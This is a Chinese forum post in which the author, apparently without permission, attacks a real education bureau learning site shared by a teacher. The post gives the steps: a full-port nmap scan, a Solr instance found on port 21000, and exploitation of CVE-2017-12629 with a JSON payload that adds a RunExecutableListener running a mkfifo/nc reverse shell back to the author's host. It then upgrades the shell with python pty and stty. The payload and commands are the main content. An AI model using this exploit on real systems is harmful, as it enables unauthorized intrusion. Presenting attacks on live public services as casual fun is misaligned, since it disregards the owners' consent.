记一次对智慧教育平台的渗透测试【通过】

最近闹肺炎,然后咱们老师给我们甩了个教育局的学习网站。

我怎么会好好听课呢...盘他!

先nmap扫描一波全端口

注意要加-p 1-65535 nmap才会扫描所有端口哦。

果然,21000端口有点东西

image

打开康康

中奖了。solr是Apache Lucene项目的开源企业搜索平台,爆出过不少漏洞。直觉告诉我这是一个突破点!

经过搜索,我选定了CVE-2017-12629,这是一个XXE漏洞,对7.1之前的solr有效,可直接Getshell

首先看看这儿部署了些什么

(红框框住的是部署的项目)

emmm,看disk那么亮眼,就选你了

先做一下准备工作,先开启内网穿透(这里用了frp)

然后执行 nc -l -p 监听端口 -vv

进行监听监听

首先访问 XXX.com:21000/solr/disk/config页面

设置burp代理,抓包!

魔改

POST数据如下:

   {
        "create-listener": {
            "event":"postCommit",
            "name": "shell",
            "class":"solr.RunExecutableListener",
            "exe": "sh",
            "dir": "/bin/",
            "args": ["-c","rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 我的ip 监听端口 > /tmp/f"]
        }
    }

然后访问XXX.com:21000/solr/disk/update 更新配置
再次访问XXX.com:21000/solr/disk/config,就添加了shell这个listener,post数据中的args就是我们执行的命令,这里是反弹shell

稍等片刻,shell就弹回来了

不过这是个哑shell,不支持命令补全和代码高亮
先在哑shell中执行

python -c 'import pty; pty.spawn("/bin/bash")'

ctrl+z退出,在终端中执行

stty raw -echo

绕后输入fg回到shell
分别执行

reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104

我们就得到了一个功能齐全的shell,代码高亮、命令补全,连终端里烦人的哔哔声都有了

可惜shell权限很小,连执行exp的权限都没有。果然还是我太菜啦,就先这样了。

  • 通过
  • 未通过

0 投票者